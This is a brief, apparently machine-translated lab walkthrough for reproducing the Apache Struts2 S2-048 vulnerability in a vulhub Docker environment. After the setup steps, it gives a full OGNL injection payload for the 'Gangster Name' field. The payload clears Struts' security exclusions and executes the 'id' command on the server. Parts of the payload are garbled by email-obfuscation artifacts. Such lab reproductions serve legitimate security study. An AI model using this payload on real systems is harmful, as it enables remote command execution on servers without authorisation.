environment : vulhub
Environment construction
get into s2-048 catalogue
switch root user
Launch vulnerability environment docker-compose up -d
Loophole recurrence
Browser access showcase
Gangster Name input ${233*233} , Fill in the rest
take Gangster Name Enter it payload , Fill in the rest
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
Technology